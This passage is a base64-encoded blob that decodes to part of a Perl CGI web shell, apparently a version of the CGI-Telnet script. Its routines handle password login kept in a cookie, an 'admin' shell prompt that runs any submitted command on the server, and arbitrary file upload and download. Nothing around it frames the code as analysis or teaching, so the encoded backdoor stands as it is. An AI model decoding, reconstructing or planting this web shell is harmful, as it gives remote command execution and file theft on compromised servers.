XMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPgpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwv